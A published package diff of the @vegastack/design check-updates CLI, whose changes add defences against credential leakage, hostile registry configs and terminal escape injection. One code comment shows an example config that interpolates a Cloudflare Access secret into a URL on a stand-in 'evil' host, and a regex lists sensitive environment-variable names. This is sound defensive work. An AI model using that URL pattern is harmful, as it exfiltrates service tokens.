@vegastack/design 0.1.1 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -3,7 +3,7 @@
3
3
  // published in the registry, so you know what to re-pull. shadcn registries are copy-in ("you own
4
4
  // the code") with NO automatic updates; this turns that into a single command.
5
5
  //
6
- // HOW IT WORKS (one network request):
6
+ // HOW IT WORKS (one index request + bounded item requests for installed copies):
7
7
  // 1. Resolve the @vegastack registry url + auth headers from components.json (or env).
8
8
  // 2. Scan the components dir for files carrying the provenance header the registry stamps:
9
9
  // // @vegastack <name>@<version> sha256-<integrity>
@@ -21,13 +21,34 @@
21
21
  // npx vegastack-design check-updates
22
22
  // npx vegastack-design check-updates --filter button,dialog --json
23
23
  // npx vegastack-design check-updates --fail-on-update # CI drift gate (exit 1 if stale)
24
- import { readFileSync, readdirSync, statSync, existsSync } from 'node:fs';
25
- import { join, resolve, basename } from 'node:path';
26
- import { pathToFileURL } from 'node:url';
27
-
28
- const PROVENANCE_RE = /^\/\/ @vegastack (\S+)@(\S+) sha256-([A-Za-z0-9+/=]+)/;
29
- const DEFAULT_REGISTRY = 'https://design.vegastack.com/r';
30
- const SKIP_DIRS = new Set(['node_modules', '.next', '.git', 'dist', '.turbo', 'out']);
24
+ import { readFileSync, readdirSync, lstatSync, existsSync } from "node:fs";
25
+ import { join, resolve, basename, relative, sep } from "node:path";
26
+ import { pathToFileURL } from "node:url";
27
+ import {
28
+ itemHash,
29
+ rewriteRegistryAliases,
30
+ stripShadcnLeadingCommentPrologue,
31
+ } from "./verify-registry-item.mjs";
32
+
33
+ const ITEM_NAME_SOURCE = "[a-z0-9]+(?:-[a-z0-9]+)*";
34
+ const VERSION_SOURCE =
35
+ "[0-9]+\\.[0-9]+\\.[0-9]+(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?";
36
+ const ITEM_NAME_RE = new RegExp(`^${ITEM_NAME_SOURCE}$`);
37
+ const VERSION_RE = new RegExp(`^${VERSION_SOURCE}$`);
38
+ const PROVENANCE_RE = new RegExp(
39
+ `^// @vegastack (${ITEM_NAME_SOURCE})@(${VERSION_SOURCE}) sha256-([A-Za-z0-9+/=]+)$`,
40
+ );
41
+ const DEFAULT_REGISTRY = "https://design.vegastack.com/r";
42
+ const DEFAULT_TRUSTED_REGISTRY_ORIGIN = new URL(DEFAULT_REGISTRY).origin;
43
+ const REQUEST_TIMEOUT_MS = 15_000;
44
+ const SKIP_DIRS = new Set([
45
+ "node_modules",
46
+ ".next",
47
+ ".git",
48
+ "dist",
49
+ ".turbo",
50
+ "out",
51
+ ]);
31
52
 
32
53
  const USAGE = `vegastack-design check-updates — show which copied-in components have newer registry versions
33
54
 
@@ -44,22 +65,43 @@ Options:
44
65
  -h, --help Show this help
45
66
 
46
67
  Config: reads the @vegastack registry url + headers from components.json; \${ENV} placeholders expand
47
- from .env.local / .env or the shell; falls back to VEGASTACK_REGISTRY + CF_ACCESS_CLIENT_ID/SECRET.`;
68
+ from .env.local / .env or the shell; falls back to VEGASTACK_REGISTRY + CF_ACCESS_CLIENT_ID/SECRET.
69
+ Credentialed custom registries additionally require VEGASTACK_TRUSTED_REGISTRY_ORIGIN in the
70
+ process environment (not a checkout-local dotenv file). Redirects are rejected.`;
48
71
 
49
72
  // ── arg parsing ────────────────────────────────────────────────────────────────────────────────
50
73
  function parseArgs(argv) {
51
- const out = { filter: null, json: false, failOnUpdate: false, noColor: false, dir: null, cwd: '.', registry: null, help: false };
74
+ const out = {
75
+ filter: null,
76
+ json: false,
77
+ failOnUpdate: false,
78
+ noColor: false,
79
+ dir: null,
80
+ cwd: ".",
81
+ registry: null,
82
+ help: false,
83
+ };
52
84
  for (let i = 0; i < argv.length; i++) {
53
85
  const a = argv[i];
54
- if (a === '--help' || a === '-h') out.help = true;
55
- else if (a === '--json') out.json = true;
56
- else if (a === '--fail-on-update') out.failOnUpdate = true;
57
- else if (a === '--no-color') out.noColor = true;
58
- else if (a === '--dir') out.dir = argv[++i];
59
- else if (a === '--cwd') out.cwd = argv[++i];
60
- else if (a === '--registry') out.registry = argv[++i];
61
- else if (a === '--filter') out.filter = argv[++i];
62
- else throw new UsageError(`unknown option: ${a}`);
86
+ if (a === "--help" || a === "-h") out.help = true;
87
+ else if (a === "--json") out.json = true;
88
+ else if (a === "--fail-on-update") out.failOnUpdate = true;
89
+ else if (a === "--no-color") out.noColor = true;
90
+ else if (
91
+ a === "--dir" ||
92
+ a === "--cwd" ||
93
+ a === "--registry" ||
94
+ a === "--filter"
95
+ ) {
96
+ const value = argv[i + 1];
97
+ if (!value || value.startsWith("-"))
98
+ throw new UsageError(`${a} requires a value`);
99
+ i++;
100
+ if (a === "--dir") out.dir = value;
101
+ else if (a === "--cwd") out.cwd = value;
102
+ else if (a === "--registry") out.registry = value;
103
+ else out.filter = value;
104
+ } else throw new UsageError(`unknown option: ${a}`);
63
105
  }
64
106
  return out;
65
107
  }
@@ -71,21 +113,25 @@ class UsageError extends Error {}
71
113
  let ENV = process.env;
72
114
  function loadEnv(cwd) {
73
115
  const merged = {};
74
- for (const f of ['.env', '.env.local']) {
116
+ for (const f of [".env", ".env.local"]) {
75
117
  let txt;
76
118
  try {
77
- txt = readFileSync(join(cwd, f), 'utf8');
119
+ txt = readFileSync(join(cwd, f), "utf8");
78
120
  } catch {
79
121
  continue;
80
122
  }
81
- for (const raw of txt.split('\n')) {
123
+ for (const raw of txt.split("\n")) {
82
124
  const line = raw.trim();
83
- if (!line || line.startsWith('#')) continue;
84
- const eq = line.indexOf('=');
125
+ if (!line || line.startsWith("#")) continue;
126
+ const eq = line.indexOf("=");
85
127
  if (eq === -1) continue;
86
128
  const key = line.slice(0, eq).trim();
87
129
  let val = line.slice(eq + 1).trim();
88
- if ((val.startsWith('"') && val.endsWith('"')) || (val.startsWith("'") && val.endsWith("'"))) val = val.slice(1, -1);
130
+ if (
131
+ (val.startsWith('"') && val.endsWith('"')) ||
132
+ (val.startsWith("'") && val.endsWith("'"))
133
+ )
134
+ val = val.slice(1, -1);
89
135
  merged[key] = val;
90
136
  }
91
137
  }
@@ -93,60 +139,248 @@ function loadEnv(cwd) {
93
139
  }
94
140
 
95
141
  const missingEnv = new Set();
142
+
143
+ /**
144
+ * Credential material seen during config expansion: secret value -> `${NAME}` placeholder.
145
+ *
146
+ * Two independent jobs, both required:
147
+ * 1. `assertNoSecretInUrl` refuses to BUILD a request URL containing any of these, so a
148
+ * components.json like `"@vegastack": "http://evil/r/{name}.json?k=${CF_ACCESS_CLIENT_SECRET}"`
149
+ * can never be fetched. That config carries no headers, so the header-scoped trusted-origin
150
+ * check below never fired and the token was exfiltrated to an arbitrary origin over plain
151
+ * http — while the CLI exited 0.
152
+ * 2. `redact` scrubs them from every line this CLI prints (see terminalText), because the same
153
+ * URL was echoed verbatim into stderr and therefore into CI logs.
154
+ *
155
+ * Credentials belong in headers, never in a URL — a URL lands in server access logs, proxy logs,
156
+ * and CDN caches even when the origin is fully trusted. So (1) is unconditional, not origin-scoped.
157
+ */
158
+ const SECRET_VALUES = new Map();
159
+
160
+ // Name-based classification, applied at expansion time wherever the variable is used. Anything
161
+ // used as a header value is ALSO registered as secret regardless of its name (see resolveRegistry),
162
+ // which covers credential halves like CF_ACCESS_CLIENT_ID and any custom auth header.
163
+ const SENSITIVE_ENV_NAME =
164
+ /(?:SECRET|TOKEN|PASSWORD|PASSWD|CREDENTIAL|PRIVATE|API_?KEY|_KEY$|^KEY$|AUTH|SESSION|COOKIE|BEARER|SIGNATURE)/i;
165
+
166
+ // Known credential variables whose NAME the pattern above would not catch. CF_ACCESS_CLIENT_ID is
167
+ // half of a Cloudflare Access service-token pair: on its own it is not sufficient to authenticate,
168
+ // but it is credential material and must not be logged or placed in a URL either.
169
+ const KNOWN_CREDENTIAL_ENV_NAMES = new Set(["CF_ACCESS_CLIENT_ID"]);
170
+
171
+ function isSensitiveEnvName(name) {
172
+ return KNOWN_CREDENTIAL_ENV_NAMES.has(name) || SENSITIVE_ENV_NAME.test(name);
173
+ }
174
+
175
+ // Deliberate floor, applied to BOTH redaction and the URL bar. A short value cannot be treated as
176
+ // a secret by substring matching without breaking legitimate use: with a 4-char token, every URL
177
+ // merely CONTAINING those characters would be refused, and every log line mangled. Real credentials
178
+ // here are long (a Cloudflare Access service-token secret is 64 hex chars), so the floor costs
179
+ // nothing in practice — but it does mean a hand-rolled sub-8-character token is not protected.
180
+ const MIN_SECRET_LENGTH = 8;
181
+
182
+ /**
183
+ * @param label env var name (kind 'env') or HTTP header name (kind 'header')
184
+ * @param kind controls the placeholder shown in errors/logs, so the message points at the thing
185
+ * the operator actually has to edit rather than at a header name dressed up as `${…}`.
186
+ */
187
+ function rememberSecret(label, value, kind = "env") {
188
+ if (typeof value !== "string" || value.length < MIN_SECRET_LENGTH) return;
189
+ const placeholder =
190
+ kind === "header" ? `<${label} header value>` : `\${${label}}`;
191
+ // First registration wins: an env-var placeholder is more actionable than a header one, and
192
+ // envHeaders()/expandEnv() run before the header sweep for the same value.
193
+ if (!SECRET_VALUES.has(value)) SECRET_VALUES.set(value, placeholder);
194
+ }
195
+
96
196
  function expandEnv(value) {
97
- if (typeof value !== 'string') return value;
197
+ if (typeof value !== "string") return value;
98
198
  return value.replace(/\$\{([A-Z0-9_]+)\}/gi, (_, name) => {
99
199
  const v = ENV[name];
100
- if (v == null || v === '') missingEnv.add(name);
101
- return v ?? '';
200
+ if (v == null || v === "") missingEnv.add(name);
201
+ if (v && isSensitiveEnvName(name)) rememberSecret(name, v);
202
+ return v ?? "";
102
203
  });
103
204
  }
104
205
 
206
+ /** Replace every known secret with its `${NAME}` placeholder, raw and percent-encoded. */
207
+ function redact(text) {
208
+ let out = String(text);
209
+ for (const [secret, placeholder] of SECRET_VALUES) {
210
+ out = out.split(secret).join(placeholder);
211
+ const encoded = encodeURIComponent(secret);
212
+ if (encoded !== secret) out = out.split(encoded).join(placeholder);
213
+ }
214
+ return out;
215
+ }
216
+
217
+ /**
218
+ * Refuse any request URL carrying credential material. Checked raw AND percent-encoded, since a
219
+ * secret with reserved characters is escaped once it is interpolated into a query string.
220
+ */
221
+ function assertNoSecretInUrl(url) {
222
+ const text = String(url);
223
+ for (const [secret, placeholder] of SECRET_VALUES) {
224
+ if (
225
+ text.includes(secret) ||
226
+ (encodeURIComponent(secret) !== secret &&
227
+ text.includes(encodeURIComponent(secret)))
228
+ ) {
229
+ throw new Error(
230
+ `refusing to put ${placeholder} in a registry URL — credentials must be sent as headers, ` +
231
+ `never in a URL (URLs are recorded in access, proxy, and CDN logs). ` +
232
+ `Move it to the "headers" object of the @vegastack registry in components.json.`,
233
+ );
234
+ }
235
+ }
236
+ }
237
+
105
238
  function readJson(path) {
106
- return JSON.parse(readFileSync(path, 'utf8'));
239
+ return JSON.parse(readFileSync(path, "utf8"));
107
240
  }
108
241
 
109
242
  function envHeaders() {
110
243
  const h = {};
111
- if (ENV.CF_ACCESS_CLIENT_ID) h['CF-Access-Client-Id'] = ENV.CF_ACCESS_CLIENT_ID;
112
- if (ENV.CF_ACCESS_CLIENT_SECRET) h['CF-Access-Client-Secret'] = ENV.CF_ACCESS_CLIENT_SECRET;
244
+ if (ENV.CF_ACCESS_CLIENT_ID)
245
+ h["CF-Access-Client-Id"] = ENV.CF_ACCESS_CLIENT_ID;
246
+ if (ENV.CF_ACCESS_CLIENT_SECRET)
247
+ h["CF-Access-Client-Secret"] = ENV.CF_ACCESS_CLIENT_SECRET;
248
+ // These reach the wire as credentials whether or not they were ever written as ${…} in a config,
249
+ // so register them here as well — redaction and the URL bar must not depend on expansion order.
250
+ rememberSecret("CF_ACCESS_CLIENT_ID", h["CF-Access-Client-Id"]);
251
+ rememberSecret("CF_ACCESS_CLIENT_SECRET", h["CF-Access-Client-Secret"]);
113
252
  return h;
114
253
  }
115
254
 
255
+ function nonEmptyHeaders(headers) {
256
+ return Object.fromEntries(
257
+ Object.entries(headers).filter(
258
+ ([, value]) => value != null && value !== "",
259
+ ),
260
+ );
261
+ }
262
+
263
+ /**
264
+ * Validate the complete request destination before attaching credentials. The trust anchor is
265
+ * deliberately read from process.env rather than ENV: ENV also contains checkout-local .env files,
266
+ * which must not be able to choose where an operator's service token is sent.
267
+ */
268
+ function assertRegistryRequest(url, headers) {
269
+ let parsed;
270
+ try {
271
+ parsed = new URL(url);
272
+ } catch {
273
+ // redact: an unparseable URL is still printed, and it may carry an interpolated secret.
274
+ throw new Error(`registry URL is invalid: ${redact(url)}`);
275
+ }
276
+ if (parsed.username || parsed.password) {
277
+ throw new Error("registry URL must not contain embedded credentials");
278
+ }
279
+ // Unconditional, and BEFORE the header-scoped origin check below: a URL-borne secret is a leak
280
+ // even to the trusted origin, and this is the only thing standing between a hostile
281
+ // components.json and an arbitrary-origin exfiltration (the origin check never fires for a
282
+ // config that declares no headers).
283
+ assertNoSecretInUrl(url);
284
+ const credentialed = Object.keys(nonEmptyHeaders(headers)).length > 0;
285
+ if (!credentialed) return parsed;
286
+
287
+ const trustedValue =
288
+ process.env.VEGASTACK_TRUSTED_REGISTRY_ORIGIN ??
289
+ DEFAULT_TRUSTED_REGISTRY_ORIGIN;
290
+ let trusted;
291
+ try {
292
+ trusted = new URL(trustedValue);
293
+ } catch {
294
+ throw new Error(
295
+ "VEGASTACK_TRUSTED_REGISTRY_ORIGIN must be an absolute HTTPS origin",
296
+ );
297
+ }
298
+ if (
299
+ trusted.protocol !== "https:" ||
300
+ trusted.username ||
301
+ trusted.password ||
302
+ trusted.pathname !== "/" ||
303
+ trusted.search ||
304
+ trusted.hash
305
+ ) {
306
+ throw new Error(
307
+ "VEGASTACK_TRUSTED_REGISTRY_ORIGIN must be an HTTPS origin with no path, credentials, query, or hash",
308
+ );
309
+ }
310
+ if (parsed.protocol !== "https:" || parsed.origin !== trusted.origin) {
311
+ throw new Error(
312
+ `refusing to send registry credentials to ${parsed.origin}; trusted origin is ${trusted.origin}`,
313
+ );
314
+ }
315
+ return parsed;
316
+ }
317
+
318
+ async function fetchRegistry(url, headers) {
319
+ assertRegistryRequest(url, headers);
320
+ return fetch(url, {
321
+ headers: nonEmptyHeaders(headers),
322
+ redirect: "error",
323
+ signal: AbortSignal.timeout(REQUEST_TIMEOUT_MS),
324
+ });
325
+ }
326
+
116
327
  // Resolve { urlTemplate, headers } in precedence order: --registry > components.json > env.
117
328
  function resolveRegistry(opts, componentsJson) {
118
329
  if (opts.registry) {
119
330
  return { urlTemplate: opts.registry, headers: envHeaders() };
120
331
  }
121
- const reg = componentsJson?.registries?.['@vegastack'];
332
+ const reg = componentsJson?.registries?.["@vegastack"];
122
333
  if (reg) {
123
- if (typeof reg === 'string') return { urlTemplate: expandEnv(reg), headers: {} };
334
+ if (typeof reg === "string")
335
+ return { urlTemplate: expandEnv(reg), headers: {} };
124
336
  const headers = {};
125
- for (const [k, v] of Object.entries(reg.headers ?? {})) headers[k] = expandEnv(v);
337
+ for (const [k, v] of Object.entries(reg.headers ?? {})) {
338
+ headers[k] = expandEnv(v);
339
+ // Anything used as a header value IS credential material, whatever the variable is called.
340
+ // This catches credential halves the name heuristic would miss (CF_ACCESS_CLIENT_ID) and any
341
+ // custom auth header, so those values are redacted from output and barred from URLs too.
342
+ rememberSecret(k, headers[k], "header");
343
+ }
126
344
  return { urlTemplate: expandEnv(reg.url), headers };
127
345
  }
128
- return { urlTemplate: `${(ENV.VEGASTACK_REGISTRY ?? DEFAULT_REGISTRY).replace(/\/$/, '')}/{name}.json`, headers: envHeaders() };
346
+ return {
347
+ urlTemplate: `${(ENV.VEGASTACK_REGISTRY ?? DEFAULT_REGISTRY).replace(/\/$/, "")}/{name}.json`,
348
+ headers: envHeaders(),
349
+ };
129
350
  }
130
351
 
131
352
  // Turn an item-url template into the index url: replace {name}→registry, else append /registry.json.
132
353
  function indexUrl(urlTemplate) {
133
- if (urlTemplate.includes('{name}')) return urlTemplate.replace('{name}', 'registry');
134
- return `${urlTemplate.replace(/\/$/, '')}/registry.json`;
354
+ if (urlTemplate.includes("{name}"))
355
+ return urlTemplate.replace("{name}", "registry");
356
+ return `${urlTemplate.replace(/\/$/, "")}/registry.json`;
135
357
  }
136
358
 
137
359
  // ── components dir + scan ──────────────────────────────────────────────────────────────────────
138
360
  function resolveComponentsDir(cwd, dirFlag, componentsJson) {
139
361
  if (dirFlag) return resolve(cwd, dirFlag);
140
362
  const ui = componentsJson?.aliases?.ui;
141
- const rel = ui ? ui.replace(/^@\//, '').replace(/^~\//, '') : 'components/ui';
363
+ const rel = ui ? ui.replace(/^@\//, "").replace(/^~\//, "") : "components/ui";
142
364
  const direct = resolve(cwd, rel); // assumes @/ = project root
143
365
  if (existsSync(direct)) return direct;
144
- const srcVariant = resolve(cwd, 'src', rel); // common alias: @/* -> src/*
366
+ const srcVariant = resolve(cwd, "src", rel); // common alias: @/* -> src/*
145
367
  if (existsSync(srcVariant)) return srcVariant;
146
368
  return direct; // documented default; "none found" message hints --dir
147
369
  }
148
370
 
149
- function walk(dir, out = []) {
371
+ function walk(dir, out = [], isRoot = true) {
372
+ let rootStat;
373
+ try {
374
+ rootStat = lstatSync(dir);
375
+ } catch {
376
+ return out;
377
+ }
378
+ if (rootStat.isSymbolicLink()) {
379
+ if (isRoot)
380
+ throw new Error(`refusing to scan a symlinked component root: ${dir}`);
381
+ return out;
382
+ }
383
+ if (!rootStat.isDirectory()) return out;
150
384
  let entries;
151
385
  try {
152
386
  entries = readdirSync(dir);
@@ -156,8 +390,16 @@ function walk(dir, out = []) {
156
390
  for (const name of entries) {
157
391
  if (SKIP_DIRS.has(name)) continue;
158
392
  const p = join(dir, name);
159
- const s = statSync(p);
160
- if (s.isDirectory()) walk(p, out);
393
+ let s;
394
+ try {
395
+ s = lstatSync(p);
396
+ } catch {
397
+ continue;
398
+ }
399
+ // The requested component directory is the complete scan boundary. Following a symlink can
400
+ // escape that boundary, traverse a very large unrelated tree, or recurse through a cycle.
401
+ if (s.isSymbolicLink()) continue;
402
+ if (s.isDirectory()) walk(p, out, false);
161
403
  else if (/\.tsx?$/.test(name)) out.push(p);
162
404
  }
163
405
  return out;
@@ -168,24 +410,37 @@ function walk(dir, out = []) {
168
410
  // pipeline strips leading comments during its transform, so most consumer copies have NO
169
411
  // header. Headerless files are identified by filename against the registry index and compared
170
412
  // by alias-normalized CONTENT instead (see `normalizeForCompare`).
171
- function readInstalled(file) {
413
+ function readInstalled(file, root) {
172
414
  let content;
173
415
  try {
174
- content = readFileSync(file, 'utf8');
416
+ content = readFileSync(file, "utf8");
175
417
  } catch {
176
418
  return null;
177
419
  }
178
- const firstLine = content.slice(0, content.indexOf('\n') === -1 ? content.length : content.indexOf('\n'));
420
+ const firstLine = content.slice(
421
+ 0,
422
+ content.indexOf("\n") === -1 ? content.length : content.indexOf("\n"),
423
+ );
179
424
  const m = PROVENANCE_RE.exec(firstLine);
180
- const name = basename(file).replace(/\.tsx?$/, '');
425
+ const name = basename(file).replace(/\.tsx?$/, "");
426
+ const relativePath = relative(root, file).split(sep).join("/");
181
427
  return m
182
- ? { file, name: m[1], content, header: { version: m[2], hash: `sha256-${m[3]}` } }
183
- : { file, name, content, header: null };
428
+ ? {
429
+ file,
430
+ relativePath,
431
+ name: m[1],
432
+ content,
433
+ header: { version: m[2], hash: `sha256-${m[3]}` },
434
+ }
435
+ : { file, relativePath, name, content, header: null };
184
436
  }
185
437
 
186
438
  // Strip a provenance header (with its optional following blank line) from file content.
187
439
  function stripHeader(content) {
188
- return content.replace(/^\/\/ @vegastack \S+@\S+ sha256-\S+\r?\n(?:\r?\n)?/, '');
440
+ return content.replace(
441
+ /^\/\/ @vegastack \S+@\S+ sha256-\S+\r?\n(?:\r?\n)?/,
442
+ "",
443
+ );
189
444
  }
190
445
 
191
446
  /**
@@ -194,31 +449,82 @@ function stripHeader(content) {
194
449
  * (the same class of rewrite `shadcn add` performs), and ignore trailing whitespace.
195
450
  * Consumers on the default `@/*` alias need no rewrite at all.
196
451
  */
197
- function normalizeForCompare(content, aliasRoot) {
198
- let s = stripHeader(content).replace(/\r\n/g, '\n');
199
- if (aliasRoot && aliasRoot !== '@') {
200
- s = s.replace(/((?:from\s*|import\s*|import\(\s*|require\(\s*))(['"])@\//g, (_, head, q) => `${head}${q}${aliasRoot}/`);
201
- }
202
- return s.trimEnd() + '\n';
452
+ function normalizeForCompare(content, aliases) {
453
+ let s = stripHeader(content).replace(/\r\n/g, "\n");
454
+ s = rewriteRegistryAliases(s, aliases);
455
+ return s.trimEnd() + "\n";
456
+ }
457
+
458
+ function expectedVariantsForCompare(content, label, aliases, fileType) {
459
+ const exact = normalizeForCompare(content, aliases);
460
+ const stripped = normalizeForCompare(
461
+ stripShadcnLeadingCommentPrologue(content, label, fileType),
462
+ aliases,
463
+ );
464
+ return new Set([exact, stripped]);
465
+ }
466
+
467
+ function uiTargetPath(file) {
468
+ return typeof file?.target === "string" && file.target.startsWith("@ui/")
469
+ ? file.target.slice("@ui/".length)
470
+ : undefined;
471
+ }
472
+
473
+ async function mapLimit(values, limit, fn) {
474
+ const results = new Array(values.length);
475
+ let next = 0;
476
+ await Promise.all(
477
+ Array.from({ length: Math.min(limit, values.length) }, async () => {
478
+ while (next < values.length) {
479
+ const index = next++;
480
+ results[index] = await fn(values[index], index);
481
+ }
482
+ }),
483
+ );
484
+ return results;
203
485
  }
204
486
 
205
487
  function globToRe(pattern) {
206
- return new RegExp('^' + pattern.split('*').map((s) => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('.*') + '$');
488
+ return new RegExp(
489
+ "^" +
490
+ pattern
491
+ .split("*")
492
+ .map((s) => s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"))
493
+ .join(".*") +
494
+ "$",
495
+ );
207
496
  }
208
497
 
209
498
  // ── colors ─────────────────────────────────────────────────────────────────────────────────────
210
499
  function makeColor(enabled) {
211
500
  const wrap = (code) => (s) => (enabled ? `[${code}m${s}` : s);
212
- return { yellow: wrap(33), green: wrap(32), dim: wrap(2), bold: wrap(1), red: wrap(31) };
501
+ return {
502
+ yellow: wrap(33),
503
+ green: wrap(32),
504
+ dim: wrap(2),
505
+ bold: wrap(1),
506
+ red: wrap(31),
507
+ };
508
+ }
509
+
510
+ // Registry errors, checkout paths, and command-line values may be attacker-controlled. Preserve the
511
+ // useful text while preventing terminal escape/control sequences from rewriting logs or prompts.
512
+ // Single chokepoint for everything this CLI prints: control-character scrub AND secret
513
+ // redaction. Redacting HERE rather than at each call site means a future console.error cannot
514
+ // reintroduce the leak by forgetting to wrap its argument — every existing print already routes
515
+ // through this, including the `could not reach the registry at ${url}` line that echoed the token.
516
+ function terminalText(value) {
517
+ return redact(value).replace(/[\u0000-\u001f\u007f-\u009f]/g, "\uFFFD");
213
518
  }
214
519
 
215
520
  // ── main ─────────────────────────────────────────────────────────────────────────────────────────
216
521
  export async function main(argv) {
522
+ missingEnv.clear();
217
523
  let opts;
218
524
  try {
219
525
  opts = parseArgs(argv);
220
526
  } catch (err) {
221
- console.error(err.message + '\n');
527
+ console.error(terminalText(err.message) + "\n");
222
528
  console.error(USAGE);
223
529
  return 2;
224
530
  }
@@ -229,20 +535,26 @@ export async function main(argv) {
229
535
 
230
536
  const cwd = resolve(opts.cwd);
231
537
  ENV = loadEnv(cwd); // pick up .env.local / .env (shadcn does the same)
232
- const color = makeColor(process.stdout.isTTY && !opts.noColor && !process.env.NO_COLOR);
538
+ const color = makeColor(
539
+ process.stdout.isTTY && !opts.noColor && !process.env.NO_COLOR,
540
+ );
233
541
 
234
542
  // components.json (optional when --registry + --dir are both given)
235
543
  let componentsJson = null;
236
- const cjPath = join(cwd, 'components.json');
544
+ const cjPath = join(cwd, "components.json");
237
545
  if (existsSync(cjPath)) {
238
546
  try {
239
547
  componentsJson = readJson(cjPath);
240
548
  } catch (err) {
241
- console.error(`✗ could not parse ${cjPath}: ${err.message}`);
549
+ console.error(
550
+ `✗ could not parse ${terminalText(cjPath)}: ${terminalText(err.message)}`,
551
+ );
242
552
  return 2;
243
553
  }
244
554
  } else if (!opts.registry || !opts.dir) {
245
- console.error(`✗ no components.json found at ${cjPath} (need it for the registry config + components dir, or pass --registry and --dir)`);
555
+ console.error(
556
+ `✗ no components.json found at ${terminalText(cjPath)} (need it for the registry config + components dir, or pass --registry and --dir)`,
557
+ );
246
558
  return 2;
247
559
  }
248
560
 
@@ -254,120 +566,365 @@ export async function main(argv) {
254
566
  // matching their filename against the index's item names)
255
567
  let index;
256
568
  try {
257
- const res = await fetch(idxUrl, { headers });
569
+ const res = await fetchRegistry(idxUrl, headers);
258
570
  if (!res.ok) {
259
- console.error(`✗ registry index fetch failed: HTTP ${res.status} ${res.statusText} (${idxUrl})`);
260
- if (missingEnv.size) console.error(` hint: these auth env vars are unset: ${[...missingEnv].join(', ')}`);
571
+ console.error(
572
+ `✗ registry index fetch failed: HTTP ${res.status} ${terminalText(res.statusText)} (${terminalText(idxUrl)})`,
573
+ );
574
+ if (missingEnv.size)
575
+ console.error(
576
+ ` hint: these auth env vars are unset: ${[...missingEnv].join(", ")}`,
577
+ );
261
578
  return 2;
262
579
  }
263
580
  index = await res.json();
264
581
  } catch (err) {
265
- console.error(`✗ could not reach the registry at ${idxUrl}: ${err.message}`);
582
+ console.error(
583
+ `✗ could not reach the registry at ${terminalText(idxUrl)}: ${terminalText(err.message)}`,
584
+ );
585
+ return 2;
586
+ }
587
+ if (!Array.isArray(index.items)) {
588
+ console.error("✗ registry index has no items array");
266
589
  return 2;
267
590
  }
268
591
  const remote = new Map();
269
- for (const item of index.items ?? []) remote.set(item.name, { version: item.meta?.version, integrity: item.meta?.integrity });
592
+ const targetOwners = new Map();
593
+ for (const item of index.items ?? []) {
594
+ if (
595
+ !item ||
596
+ typeof item !== "object" ||
597
+ Array.isArray(item) ||
598
+ !ITEM_NAME_RE.test(item.name) ||
599
+ !VERSION_RE.test(item.meta?.version ?? "") ||
600
+ !Array.isArray(item.files) ||
601
+ item.files.some(
602
+ (file) => !file || typeof file !== "object" || Array.isArray(file),
603
+ )
604
+ ) {
605
+ console.error("✗ registry index contains an invalid item identity");
606
+ return 2;
607
+ }
608
+ if (remote.has(item.name)) {
609
+ console.error("✗ registry index contains a duplicate item name");
610
+ return 2;
611
+ }
612
+ remote.set(item.name, item);
613
+ for (const file of item.files) {
614
+ const target = uiTargetPath(file);
615
+ if (!target) continue;
616
+ if (targetOwners.has(target)) {
617
+ console.error(
618
+ "✗ registry index maps more than one item to the same @ui target",
619
+ );
620
+ return 2;
621
+ }
622
+ targetOwners.set(target, item.name);
623
+ }
624
+ }
270
625
 
271
626
  // scan for installed VegaStack components:
272
627
  // - headered files (our own tooling / older CLIs preserve the provenance line) — always included
273
628
  // - headerless files whose basename matches a registry item — the REAL `shadcn add` strips
274
629
  // the header, so this is the normal consumer case
275
630
  // - headerless files NOT in the index are skipped (they're the consumer's own components)
276
- let installed = walk(dir)
277
- .map(readInstalled)
278
- .filter(Boolean)
279
- .filter((c) => c.header || remote.has(c.name));
631
+ let installedFiles;
632
+ try {
633
+ installedFiles = walk(dir);
634
+ } catch (err) {
635
+ console.error(`✗ ${terminalText(err.message)}`);
636
+ return 2;
637
+ }
638
+ const grouped = new Map();
639
+ for (const installedFile of installedFiles
640
+ .map((file) => readInstalled(file, dir))
641
+ .filter(Boolean)) {
642
+ const itemName = installedFile.header
643
+ ? installedFile.name
644
+ : targetOwners.get(installedFile.relativePath);
645
+ if (!itemName) continue;
646
+ const group = grouped.get(itemName) ?? { name: itemName, files: [] };
647
+ group.files.push(installedFile);
648
+ grouped.set(itemName, group);
649
+ }
650
+ let installed = [...grouped.values()];
280
651
  if (opts.filter) {
281
- const res = opts.filter.split(',').map((s) => globToRe(s.trim()));
652
+ const res = opts.filter.split(",").map((s) => globToRe(s.trim()));
282
653
  installed = installed.filter((c) => res.some((re) => re.test(c.name)));
283
654
  }
284
655
  if (installed.length === 0) {
285
- if (opts.json) console.log(JSON.stringify({ registry: idxUrl, checked: 0, updates: 0, items: [] }, null, 2));
286
- else console.log(`No VegaStack components found in ${dir}. (Add some with \`shadcn add @vegastack/<name>\`.)`);
287
- return 0;
656
+ // `--fail-on-update` is the CI drift gate. Exiting 0 here would make it FAIL OPEN: a project
657
+ // whose components live outside the default path (any monorepo, any package-based layout, or a
658
+ // wrong `--dir`) would get a permanently green gate that checked nothing at all. Zero components
659
+ // under an explicit gate is a misconfiguration, not a clean bill of health — say so and fail.
660
+ // Without the gate flag this stays informational and exits 0, since "no components yet" is a
661
+ // legitimate state for a project mid-setup.
662
+ const gateOnEmpty = opts.failOnUpdate === true;
663
+ if (opts.json)
664
+ console.log(
665
+ JSON.stringify(
666
+ {
667
+ registry: idxUrl,
668
+ checked: 0,
669
+ updates: 0,
670
+ items: [],
671
+ ...(gateOnEmpty ? { error: "no-components-found" } : {}),
672
+ },
673
+ null,
674
+ 2,
675
+ ),
676
+ );
677
+ else if (gateOnEmpty)
678
+ console.error(
679
+ `✗ no VegaStack components found in ${terminalText(dir)}, but --fail-on-update was set.\n` +
680
+ ` A drift gate that scans nothing passes vacuously, so this is an error, not a pass.\n` +
681
+ ` Point it at the right directory (\`--dir <path>\`) or drop --fail-on-update.`,
682
+ );
683
+ else
684
+ console.log(
685
+ `No VegaStack components found in ${terminalText(dir)}. (Add some with \`shadcn add @vegastack/<name>\`.)`,
686
+ );
687
+ return gateOnEmpty ? 1 : 0;
288
688
  }
289
689
 
290
- // the consumer's alias root ('@' default; '~', 'src', … supported) for content normalization
291
- const aliasRoot = (componentsJson?.aliases?.components ?? '@/components').split('/')[0];
690
